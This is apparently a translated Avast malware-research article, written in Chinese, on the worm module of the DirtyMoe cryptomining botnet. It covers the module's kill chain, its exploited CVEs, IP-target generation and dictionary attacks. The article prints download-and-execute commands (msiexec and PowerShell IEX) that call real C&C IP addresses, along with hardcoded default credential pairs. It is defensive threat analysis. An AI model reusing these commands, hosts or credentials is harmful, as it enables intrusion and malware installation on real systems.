DirtyMoe:蠕虫模块 – Avast

DirtyMoe恶意软件通过多种工具包(如PurpleFox)或需要用户交互的TelegramMessenger注入安装程序进行部署。与此部署相辅相成的是,DirtyMoe的一个模块通过蠕虫式技术扩展恶意软件,这种技术不需要用户的干预。

本研究分析了该蠕虫模块的杀伤链和通过DirtyMoe服务启动/控制模块的程序。其他研究领域包括评估蠕虫所利用的已识别漏洞的风险以及该模块的受害者选择算法的详细分析。最后,我们检查了该模块的性能,并对整个蠕虫工作流程进行了深入检查。

分析显示,蠕虫模块主要针对较旧且众所周知的漏洞,例如EternalBlue和Hot PotatoWindows特权提升漏洞。另一个重要的发现是利用服务控制管理器远程协议(SCMR)、WMI和MSSQL服务进行字典攻击。最后,同样重要的结果是发现了一个生成受害者目标IP地址的算法,该算法基于蠕虫模块的地理位置。

一个蠕虫模块每天可以生成并攻击成千上万的私有和公共IP地址;许多受害者面临风险,因为许多机器仍在使用未打补丁的系统或使用弱密码。此外,DirtyMoe恶意软件采用模块化设计,因此我们预计会增加其他蠕虫模块以目标常见漏洞。

1. 引言

DirtyMoe是我们在中详细记录的一种成功恶意软件,它也具备自我复制的机制。DirtyMoe恶意软件最常见的部署方式是通过网络钓鱼活动或恶意广告。在本系列中,我们将重点关注帮助DirtyMoe在野外传播的技术。

PurpleFox实验工具包(EK)是部署DirtyMoe的最常见方法;PurpleFoxEK的直接目标是利用受害者机器并安装DirtyMoe。PurpleFox EK主要通过网络钓鱼电子邮件或弹出广告滥用InternetExplorer浏览器中的漏洞。例如,Guardicore描述了一种通过PurpleFox传播的蠕虫,利用弱密码的SMB服务来渗透安全性较弱的系统。最近,MinervaLabs描述了通过注入Telegram安装程序安装DirtyMoe的新感染渠道。

目前,我们正在监控三种用于扩散DirtyMoe的方法;图1
展示了各个概念之间的关系。DirtyMoe恶意软件的主要功能是加密挖矿;它通过不同的技术部署到受害者的机器上。我们观察到PurpleFoxEK、PurpleFox Worm和注入的Telegram安装程序作为传播和安装DirtyMoe的媒介;我们认为非常可能还有其他机制在野外被使用。

图1.
DirtyMoe的传播媒介

在关于这一恶意软件家族的中,我们描述了DirtyMoe服务的部署情况。图2
展示了DirtyMoe的层次结构。DirtyMoe服务以svchost进程的形式运行,并启动两个其他进程:DirtyMoe核心和Executioner,后者管理DirtyMoe模块。通常,执行者加载两个模块,一个用于Monero挖矿,另一个用于蠕虫复制。

图2.
DirtyMoe的层次结构

我们的研究集中在蠕虫传播上,因为蠕虫传播似乎是DirtyMoe恶意软件传播的主要媒介。Guardicore描述的PurpleFox蠕虫[2]只是蠕虫传播冰山一角,因为DirtyMoe利用复杂的算法和方法以在野外自我扩散,甚至在本地网络中进行横向传播。

DirtyMoe蠕虫的目标是攻击目标系统并在受害者机器上安装自己。DirtyMoe蠕虫滥用了多种已知漏洞,如下所示:

  • CVE:2019-9082: ThinkPHP – 多重PHP注入RCE
  • CVE:2019-2725: Oracle Weblogic Server – ‘AsyncResponseService’反序列化RCE
  • CVE:2019-1458: WizardOpium本地特权提升
  • CVE:2018-0147: 反序列化漏洞
  • CVE:2017-0144: EternalBlue SMB远程代码执行 (MS17-010)
  • MS15-076: RCE允许提升特权(Hot Potato Windows特权提升)
  • 对MS SQL Server、SMB和Windows管理工具(WMI)的字典攻击

DirtyMoe的普遍性在全球各地不断增加,这可能与DirtyMoe蠕虫生成目标的策略有关,该策略使用伪随机IP生成器考虑蠕虫的地理位置和本地位置。该技术的一个结果是,蠕虫根据位置更加灵活和有效。此外,DirtyMoe可以扩展到隐藏在NAT后面的机器,因为这一策略也提供了本地网络中的横向移动。单个DirtyMoe实例每天可以生成和攻击多达6,000个IP地址。

整个蠕虫的设计巧妙之处在于其模块化,由C&C服务器控制。例如,DirtyMoe拥有一些针对特定漏洞的蠕虫模块,而C&C根据DirtyMoe实例发送的信息来决定应用哪种蠕虫模块。

DirtyMoe蠕虫模块实现了所有类型漏洞的三个基本阶段。首先,模块在初始阶段生成目标IP地址列表。然后,在第二阶段对这些目标施加针对特定漏洞的攻击。最后,模块对由随机生成的IP地址表示的活动机器执行字典攻击。我们观察到的最常见模块是SMB和SQL。

本文重点分析DirtyMoe蠕虫模块。我们将分析并讨论该模块的蠕虫策略、恶意软件作者滥用的漏洞以及根据地理位置的模块行为。一个主要话题是IP地址生成的性能,这对恶意软件的成功至关重要。我们还在寻找滥用漏洞的特定实现,包括它们的来源。

2. 蠕虫杀伤链

我们可以通过杀伤链描述DirtyMoe蠕虫模块的一般工作流程。图3 展示了蠕虫工作流程的各个阶段。

图3.
蠕虫模块工作流程

侦察
蠕虫模块随机生成目标,但也考虑到模块的地理位置。每个生成的目标都经过测试以确认是否存在易受攻击的服务版本;模块连接到攻击者预期的易受攻击服务的特定端口,并验证受害者的机器是否处于活动状态。如果验证成功,蠕虫模块会收集有关受害者操作系统及目标服务版本的基本信息。

武器化
C&C服务器负责决定使用哪种特定的蠕虫模块,而无需使用任何受害者信息。目前,我们尚无法准确了解用于模块选择的算法,但怀疑其依赖于发送给C&C服务器的附加信息。

当模块确认目标受害者的机器可能可被利用时,会准备相应的有效载荷,并启动攻击。由于远程代码执行(RCE)命令仅在几分钟内有效,因此每次攻击的有效载荷必须进行修改。

投递
在杀伤链的这一阶段,蠕虫模块发送准备好的有效载荷。有效载荷的投递通常使用目标服务的协议进行,例如SMB或MS SQL协议。

利用与安装
如果有效载荷正确且成功利用了受害者的机器,包含在有效载荷中的RCE命令将被运行。因此,DirtyMoe恶意软件被部署,具体细节在中已有阐述。

3. RCE命令

蠕虫模块的主要目标是在管理员权限下实现RCE并安装新的DirtyMoe实例。执行的命令通用格式(@RCE@)在每个蠕虫模块中是相同的:
Cmd /c for /d %i in (@WEB@) do Msiexec /i http://%i/@FIN@ /Q

该命令通常会遍历三个C&C服务器的IP地址,包括端口。IP由占位符@WEB@在运行时填充。实际上,由于每分钟轮换IP,因此每次发送的有效载荷都会重新生成@WEB@,这一点在中有所描述。

第二个占位符是@FIN@,表示DirtyMoe对象的名称;这实际上是一个MSI安装程序包。包的文件名以哈希形式命名——[A-F0-9]{8}\.moe。哈希名称是通过使用硬编码的哈希表、轮换和子字符串的方法,以及MS_RPC_<n>字符串生成的,其中n是DirtyMoe服务定义的数字。

@RCE@命令的核心是在安静模式(/Q)下通过msiexec执行远程DirtyMoe对象(http://)。具体@RCE@命令的一个示例如下:
Cmd /c for /d %i in (45.32.127.170:16148 92.118.151.102:19818207.246.118.120:11410) do Msiexec /i http://%i/6067C695.moe /Q

4. IP地址生成

蠕虫模块的一个关键特性是生成攻击的IP地址。这些IP地址的生成使用伪随机生成器共六种方法;每种方法针对不同的IPv4类别。这一因素有助于被攻击机器的全球均匀分布,并能生成更多可用的目标IP地址。

4.1 从IP表中的B类生成

生成的地址中最大的比例由10个线程使用硬编码的24,622个项目的列表生成。每个列表项的格式为0xXXXX0000,表示B类IP。每个线程根据以下算法生成IP:

该算法从列表中随机选择一个B类地址,并生成65,536个完全随机的数字加到所选的B类地址上。结果是最终生成的IP地址基于列表中硬编码的地理位置。

图4
显示了硬编码地址的地理分布。大陆分布分为四个部分:亚洲、北美、欧洲和其他(南美、非洲、大洋洲)。我们验证了这种方法,并使用该算法生成了100万个地址。结果在洲际分布上相似。因此,该实现确保了IP地址分布的均匀性。

图4. 硬编码B类IP的地理分布

4.2 完全随机IP

其他三个线程生成完全随机的IP,因此其地理位置也是完全随机的。然而,完全随机IP算法更频繁地生成低类别,如下面的算法所示。

4.3 派生的A、B、C类

另外三种算法基于蠕虫模块运行的机器IP地址(IPm)生成IP。因此,蠕虫模块会针对周边附近的机器。

地址从IPm中派生,掩码调整为合适的A/B/C类,并添加一个表示较低类别的随机数字;如以下伪代码所示。

4.4 从本地IP派生

最后一种IP生成方法由一个线程表示,该线程扫描附加到本地网络的接口。蠕虫模块使用gethostbyname()列出本地IP,并每两小时处理一个本地地址。

每个本地IP被掩码为C类,并根据掩码地址生成255个新的本地地址。结果是蠕虫模块攻击所有与受感染机器相近的本地网络中的机器。

5. 针对已滥用漏洞的攻击

我们检测到两个主要攻击SMB服务和MSSQL数据库的蠕虫模块。我们团队的运气不错,因为我们还发现了一个稀有的蠕虫模块,它包含针对PHP、Java反序列化和Oracle WeblogicServer的漏洞,但该模块仍在开发中。此外,蠕虫模块还包括一个包含10万个单词的打包字典,用于字典攻击。

5.1 EternalBlue

主要漏洞之一是CVE:2017-0144: EternalBlueSMB远程代码执行(已在MS17-010中修补)。至今仍令人困惑的是,EternalBlue攻击仍在频繁出现——Avast每个月依然阻止约2000万次EternalBlue攻击尝试。

蠕虫模块专注于Windows XP到Windows 8的版本。我们已经确认EternalBlue的实现与在exploit-
db中描述的相同[3],有效载荷(包含@RCE@命令)与DoublePulsar相同[4]。有趣的是,整个位EternalBlue有效载荷针对每种Windows架构均进行了硬编码,尽管可以为每个平台单独组合有效载荷。

5.2 服务控制管理器远程协议

在服务控制管理器远程协议(SCMR)[5]的情况下没有使用已知漏洞。蠕虫模块通过字典攻击攻击SCMR。第一阶段是猜测管理员密码。字典攻击的细节在第6.4节中描述。

如果字典攻击成功并且模块猜测密码,则会通过RPC在SMB服务上远程创建并启动新的Windows服务。图5 展示了该攻击的网络通信。
绑定到SCMR的UUID为{367ABB81-9844-35F1-AD32-98F038001003}。在服务器端,作为客户端的蠕虫模块向\PIPE\svcctl管道写入命令。第一批命令创建新服务并注册带有恶意@RCE@有效载荷的命令。新服务被启动后,随后被删除以掩盖其足迹。

MicrosoftHTML应用程序主机(mshta.exe)被用作LOLbin来执行并创建ShellWindows并运行@RCE@。这种代理执行的好处在于mshta.exe通常被标记为受信任;一些防御者可能无法检测到mshta.exe的这一误用。

图5. SCMR网络通信

Windows事件记录了这些可疑事件,详见图6 。服务名称的格式为AC<number>
number是每次成功攻击都递增的。值得注意的是,ImagePathBinaryPathName中包含发送到SCMR的@RCE@命令,见图5

图6.
SCMR的事件日志

5.3 Windows管理工具

另一种不滥用任何已知漏洞的方法是对Windows管理工具(WMI)进行字典攻击。工作流程与SCMR攻击类似。首先,蠕虫模块同样需要猜测受害者管理员帐户的密码。字典攻击的细节在第6.4节中细述。

攻击者可以使用WMI管理和访问远程计算机上的数据和资源[6]。如果他们拥有管理员权限的帐户,则对所有系统资源可实现完全访问。

恶意使用在于创建一个通过WMI脚本运行@RCE@的新进程;见图7 。DirtyMoe则通过以下六个步骤安装:

  1. 初始化COM库。
  2. 连接默认名称空间root/cimv2,其中包含用于管理的WMI类。
  3. 创建Win32_Process类,并将@RCE@作为命令行参数设置。
  4. Win32_ProcessStartup表示新进程的启动配置。蠕虫模块将新进程的窗口状态设置为隐藏,以便执行可以静默完成。
  5. 启动新进程,并运行DirtyMoe安装程序。
  6. 最后,WMI脚本完成,COM库被清理。

图7. WMI脚本创建Win32_Process并运行@RCE@命令

5.4 Microsoft SQL Server

针对Microsoft SQL服务器的攻击是蠕虫模块第二广泛的攻击类型。目标MSSQL服务器包括2000、2005、2008、2012、2014、2016、2017和2019。

蠕虫模块同样没有滥用与MS SQL相关的任何漏洞。然而,它使用字典攻击和MS15-076:“RCE允许提升特权”,又称“Hot PotatoWindows特权提升”。此外,恶意软件作者还利用了MS15-076的实现,称为Tater、PowerSploit函数Invoke-
ReflectivePEInjection以及CVE-2019-1458:“WizardOpium本地特权提升”漏洞。

MS SQL攻击的第一阶段是猜测被攻击MSSQL服务器的密码。第一批用户名/密码对为硬编码。恶意软件作者从可公开获取的来源收集了这些硬编码的凭据。这包含了一些数据库和系统(如NetteDatabase、Oracle、Firebird、KingdeeKIS等)的十五个默认密码。所包含的完整硬编码凭据如下:401hk/401hk_@_admin/adminbizbox/bizboxbwsa/bw99588399hbv7/zXJl@mwZkisadmin/ypbwkfyjhyhgzjneterp/neterpps/740316root/rootsp/spsu/t00r_@_sysdba/masterkeyuep/U_tywg_2008unierp/unierpvice/vice

如果第一批尝试未能成功,则蠕虫模块将利用硬编码的字典进行攻击。字典攻击的详细工作流程在第6.4节中描述。

如果模块成功猜测了被攻击MS SQL服务器的用户名/密码,模块将根据Transact-SQL过程执行相应的有效载荷。会依次启动五种不同的方法。

  1. sp_start_job
    模块创建、计划并立即运行一个任务,包含有效载荷1

  2. sp_makewebtask
    模块创建一个任务,生成一个HTML文档,包含有效载荷2

  3. sp_OAMethod
    模块创建一个OLE对象,使用VBScript “WScript.Shell” 并运行有效载荷3

  4. xp_cmdshell
    该方法生成一个Windows命令shell,并传来一个执行字符串,表示有效载荷3

  5. Run-time Environment
    有效载荷4 作为.NET程序集执行。

简而言之,DirtyMoe安装使用了四种有效载荷。SQL蠕虫模块定义了一个占位符@SQLEXEC@,代表位于C&C服务器上的MSI安装包的完整URL。如果任何有效载荷成功进行了特权提升,DirtyMoe安装将通过MSI安装程序无声启动;有关详细信息,请参见我们的DirtyMoe

有效载荷1

第一个有效载荷尝试运行以下PowerShell命令:
powershell -nop -exec bypass -c "IEX $decoded; MsiMake @SQLEXEC@;"
其中$decoded包含MsiMake函数,如图8 所示。该函数在MSSQL服务器运行在管理员权限下时从msi.dll调用MsiInstallProduct函数进行完全静默安装(INSTALLUILEVEL_NONE)。

图8.
MsiMake函数

有效载荷2

第二个有效载荷仅在_sp_makewebtask_执行时使用,该有效载荷写入以下自动启动文件夹:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\1.hta C:\ProgramData\Microsoft\Windows\StartMenu\Programs\Startup\1.hta

图9 显示了1.hta文件的内容,该文件伪装为HTML文件。显然,DirtyMoe可能在每次Windows启动时进行安装。

图9. ActiveX对象通过_sp_makewebtask_运行

有效载荷3

最后一个有效载荷更复杂,因为它针对上述提到的漏洞和攻击。首先,蠕虫模块设置一个包含全URL的@SQLPSHELL@占位符,指向DirtyMoe对象,该对象是TaterPowerShell脚本的适配版本。

有效载荷的第一阶段是一个PowerShell命令:
powershell -nop -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString(''@SQLPSHELL@''); MsiMake @SQLEXEC@"

适配的Tater脚本实现了扩展的MsiMake函数。该脚本试图通过三种不同的方式安装DirtyMoe:

  1. 通过图8 所捕获的MsiMake实现安装DirtyMoe。
  2. 试图使用Invoke-ReflectivePEInjection进行系统利用,并传递以下参数:
    Invoke-ReflectivePEInjection -PEBytes $Bytes -ExeArgs $@RCE@ -ForceASLR
    其中$Bytes是包含在脚本中的CVE-2019-1458的实现。

  3. 最后一种方式是通过Tater命令进行安装:
    Invoke-Tater -Command $@RCE@

以下是有效载荷3的一个示例:
powershell -nop -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://108.61.184.105:20114/57BC9B7E.Png');
MsiMake http://108.61.184.105:20114/0CFA042F.Png"

有效载荷4

攻击者使用.NET提供执行任意命令的运行时环境,所有这些都在MS SQL环境中进行。蠕虫模块定义了一个新的.NET程序集过程如图10 所示。

图10. 有效载荷4定义为.NET程序集

有效载荷4的.NET代码是一个简单的类,定义了一个SQL过程ExecCommand,其使用Process类执行恶意命令;如图11 所示。

图11. .NET代码执行恶意命令

5.5 开发模块

我们发现一个蠕虫模块包含的工件表明该模块处于开发中。这个模块似乎未在野外广泛传播,因此它可能会为恶意软件作者的未来意图提供一些见解。该模块包含多个在不同发展阶段的硬编码部分;一些部分未能提示@RCE@的执行。

PHP

CVE:2019-9082: ThinkPHP - 多重PHP注入RCE.

该模块使用的方法与[7]中发布的完全相同;见图12
。简而言之,发送一个验证call_user_func_array能力的CGI脚本。如果验证通过,CGI脚本将带着@RCE@重新发送。

图12.
CVE:2019-9082: ThinkPHP

反序列化

CVE:2018-0147: 反序列化漏洞

当前模块实现通过攻击服务器上的恶意Java类[8]运行,该类在图13
中显示。RunCheckConfig类是处理被接受连接的执行器,其中包括一个恶意可序列化对象。

图13. Java类RunCheckConfig执行任意命令

该模块准备了一个如图14 所示的可序列化对象,当服务器通过HTTP POST方法接受此对象时,RunCheckConfig类将运行。

图14. 包含@RCE@的反序列化对象

传递RunCheckConfig类到被攻击服务器的实现滥用相同的漏洞。它准备一个可序列化对象,执行ObjectOutputStream,将RunCheckConfig类写入c:/windows/tmp中。然而,这一实现并不包含在该模块内,因此我们假设该模块仍在开发中。

Oracle Weblogic Server

CVE:2019-2725: Oracle Weblogic Server - 'AsyncResponseService' 反序列化RCE

该模块再次利用在[9]中发布的漏洞,通过发送恶意SOAP有效载荷进行攻击,而无需任何身份验证,涉及Oracle Weblogic ServerT3接口,随后再向WLS AsyncResponseService接口发送其他SOAP有效载荷。

SOAPSOAP请求定义为WorkContextjava.lang.Runtime,包含三个参数。第一个参数定义要运行的可执行文件。接下来两个参数为该可执行文件确定参数。SOAP请求示例在图15
中显示。

图15. Oracle Weblogic Server的SOAP请求

硬编码的SOAP命令与@RCE@无关;我们认为该实现也仍在开发中。

6. 蠕虫模块执行

蠕虫模块由DirtyMoe服务管理,该服务控制其配置、初始化和蠕虫执行。本节描述了蠕虫模块的生命周期。

6.1 配置

DirtyMoe服务联系其中一个C&C服务器并下载适当的蠕虫模块到位于%windir%\apppatch\TK<volume-
id>MS.sdb
的Shim数据库(SDB)文件中。然后,蠕虫模块被解密并注入到新的svchost.exe进程中,如图2 所示。

加密模块是一个PE可执行文件,包含附加占位符。DirtyMoe服务通过这些占位符将配置参数传递给模块。这种方法与其他DirtyMoe模块相同;然而,在蠕虫模块的情况下,某些占位符未被使用。

占位符概述如下:

  • @TaskGuid@:在蠕虫模块中无效
  • @IPsSign@:在蠕虫模块中无效
  • @RunSign@:由蠕虫模块创建的互斥体,受到DirtyMoe服务的控制
  • @GadSign@:在C&C中注册的DirtyMoe实例ID
  • @FixSign@:蠕虫模块的类型,例如ScanSmbHs5
  • @InfSign@:蠕虫模块配置
6.2 初始化

当蠕虫模块(以新进程的形式)被DirtyMoe服务注入并恢复时,将调用模块的初始化。首先,模块解压包含密码的字典,用于字典攻击。字典由使用LZMA压缩的100,000个常用密码组成。其次,内部结构如下所示:

IP地址积压
模块存储发现的具有开放所需端口的IP地址。它保存IP地址和最后一次端口检查的时间戳。

天数跨度和小时跨度列表
这些列表管理用于字典攻击的IP地址及其插入时间戳。当IP地址的时间戳超过在配置中定义的阈值时,该IP地址便会被处理。例如,如果设置的阈值为1,则当前日期和时间戳的天数/小时跨度大于1时,相应的IP地址将被处理。_Dayspan列表_注册由B类IP表、完全随机IP和派生类A方法生成的IP;换句话说,即距离蠕虫模块位置更远的IP。另一方面,_Hourspan列表_记录较近的IP。

第三,模块读取其配置,该配置由@InfSign@占位符描述。配置与以下模式匹配:
<IP>|<PNG_ID>|<timeout>|[SMB:HX:PX1.X2.X3:AX:RX:BX:CX:DX:NX:SMB]

  • IP是代表进行攻击的机器IP的数字。该IP是传入生成IP的方法;见第4节。如果该IP不可用,则使用默认地址98.126.89.1
  • PNG_ID是用于派生生成哈希名称的数字,该哈希名称对应于存储在C&C中的DirtyMoe对象名称(MSI安装包)。哈希名称是使用MS_RPC_<n>字符串生成的,其中nPNG_ID;见第3节。
  • Timeout是连接到被攻击服务的默认超时时间(以秒为单位)。
  • HX是用于比较存储在_Dayspan和Hourspan列表_中的IP时间戳的阈值。该比较确定如果IP地址时间戳超过天/小时阈值时,将处理这一IP地址。
  • P是字典攻击的标志。
  • X1数字确定将使用多少个来自密码字典的初始密码,从而提高成功概率——字典中最常用的密码在开头。
  • X2数字用于字典攻击的第二阶段,如果前X1个密码未成功,则蠕虫模块将尝试随机选择字典中的X2个密码。
  • X3数字定义了将处理_Dayspan和Hourspan列表_中的项(IP)的线程数量;更具体地说,定义了将攻击_Dayspan/Hourspan列表中注册的IP地址的线程数量。
  • AX:用于利用B类IP表的线程数量。
  • RX:用于完全随机IP方法的线程数量。
  • BXCXDX:用于派生A、B、C类方法的线程数量。
  • NX是用于派生本地IP方法的线程数量。

典型配置可能是217.xxx.xxx.xxx|5|2|[SMB:H1:P1.30.3:A10:R3:B3:C3:D1:N3:SMB]

最后,蠕虫模块启动配置中定义的所有线程,蠕虫过程及其攻击便开始。

6.3 蠕虫传播

蠕虫过程经历五个阶段,大致同时运行。图16 展示了蠕虫过程的动画。

图16. 蠕虫模块工作流程

阶段1

蠕虫模块通常启动23个线程,根据第4节生成IP地址。IP地址被分为两组:天数跨度和小时跨度。

阶段2

第二阶段与第一阶段并行运行,其目标是测试生成的IP。每个特定模块目标是定义的端口,通过发送零长度的运输数据报进行验证。如果端口处于活动状态并准备接收数据,活动端口的IP地址将被添加到_IP地址积压_中。此外,SMB蠕虫模块在扫描端口时会立即尝试进行EternalBlue攻击。

阶段3

在第二阶段确认的IP地址也注册到_Dayspan和Hourspan列表_中。模块仅保留100个项目(IP地址),这些列表作为队列实现。因此,如果IP地址生成太快或字典攻击太慢,某些IP可能会从这些列表中删除。然而,已删除的地址仍然存在于_IP地址积压_中。

阶段4

根据X3配置参数创建的线程处理和管理_Dayspan和Hourspan列表_中的项(IP)。每个线程从相应的列表中提取一项,如果定义的天/小时阈值(HX参数)超过,则模块对提取的IP地址启动字典攻击。

阶段5

生成和验证的每个IP都与创建的时间戳相关联。如果先前的时间戳超过10分钟,最后一个阶段将被激活,即使由于某种原因暂停IP生成且没有新的IP在10分钟内产生。然后,一个专门的线程从积压中提取IP,并按照阶段2的方式处理这些IP,整个蠕虫过程继续。

6.4 字典攻击

字典攻击的目标为两个管理员用户名,即针对SMB服务的administrator和针对MSSQL服务器的sa。如果攻击成功,蠕虫模块将通过采用第5节中描述的一系列技术渗透目标系统:

  • 服务控制管理器远程协议(SCMR)
  • Windows管理工具(WMI)
  • Microsoft SQL Server(SQL)

首次攻击尝试时使用空密码。模块根据攻击响应的结果处理三种状态如下:

  • 无连接:未建立连接,尽管目标端口处于打开状态——目标服务在此端口不可用。
  • 不成功:目标服务/系统可用,但由于用户名或密码错误,认证失败。
  • 成功:目标服务/系统使用了空密码。
管理员帐户为空密码

如果管理员帐户未被保护,整个蠕虫过程将迅速发生(从攻击者的角度来看,这是最佳结果)。蠕虫模块将以发送空密码的形式继续渗透目标系统。

错误的用户名或验证信息

如果目标服务处于活动状态,并且需要通过应用密码字典来攻击系统,则情形会更复杂。

巧妙的是,模块将所有先前成功的密码存储在系统注册表中;字典攻击的第一阶段将遍历存储的所有密码,并利用这些进行攻击。如果成功猜测密码,则随后启动蠕虫系列攻击(SCMR、WMI、SQL)。

如果第一阶段成功,则第二阶段发生。如果存放的注册表密码未能获得成功,则模块将尝试使用从密码字典中定义的初始密码数量进行身份验证。该数字由X1配置参数指定(通常为X1*100)。如果此阶段成功,猜测的密码将存放在系统注册表中,并启动攻击系列。

最终阶段在第二阶段失败时进行。模块随机选择字典子集中的一个密码,尝试X2*100次。子集被定义为原始字典减去前X1*100项。成功后,攻击系列会被调用,并将密码添加到系统注册表中。

成功使用的密码以加密的形式存储,位置为:
HKEY_LOCAL_MACHINE\Software\Microsoft\DirectPlay8\Direct3D\RegRunInfo-
BarkIPsInfo

7. 总结与讨论

模块

我们检测到正在使用的三种版本的DirtyMoe蠕虫模块。两个版本特别关注SMB服务和MSSQL服务器。然而,第三个版本包含多个工件,暗示还存在针对PHP、Java反序列化和Oracle WeblogicServer的其他攻击向量。我们将继续监测和追踪这些活动。

被攻击的机器

一个有趣的发现是攻击适应性基于蠕虫模块的地理位置。第4节描述的方法尝试均匀分配生成的IP地址,以覆盖最大范围。这是通过使用蠕虫模块本身的IP地址实现的,因为生成受害者IP的一半线程基于模块IP地址。否则,如果没有可用的IP,则使用位于洛杉矶的默认地址98.126.89.1

我们为以下位置进行了一些VPN实验:美国、俄罗斯、捷克和台湾。结果在图17 中展示;表1 记录了每个测试VPN的攻击分布。

VPN | 攻击分布 | 主要国家
—|—|—
美国| 北美(59%)
欧洲(21%)
亚洲(16%)| 美国
俄罗斯| 北美(41%)
欧洲(33%)
亚洲(20%)| 美国、伊朗、英国、法国、俄罗斯
捷克| 欧洲(56%)
亚洲(14%)
南美(11%)| 中国、巴西、埃及、美国、德国
台湾| 北美(47%)
欧洲(22%)
亚洲(18%)| 美国、英国、日本、巴西、土耳其
表1. VPN攻击分布和主要国家

图17. VPN攻击分布

局域网

也许最引人注目的发现是观察到在本地网络中的横向移动。模块将所有成功猜测的密码保存在系统注册表中;这些存储的密码增加了在本地网络中猜测密码的概率,尤其是在家庭和小型企业网络中。因此,如果本地网络中的机器使用相同的弱密码并且可以轻易被评估,模块可以迅速渗透到本地网络中。

漏洞

所有滥用的漏洞均来自公开可用的资源。我们识别出六个主要漏洞,汇总在表2 中。蠕虫模块采用了EternalBlue、ThinkPHP和OracleWeblogic

Leave a Reply

Your email address will not be published. Required fields are marked *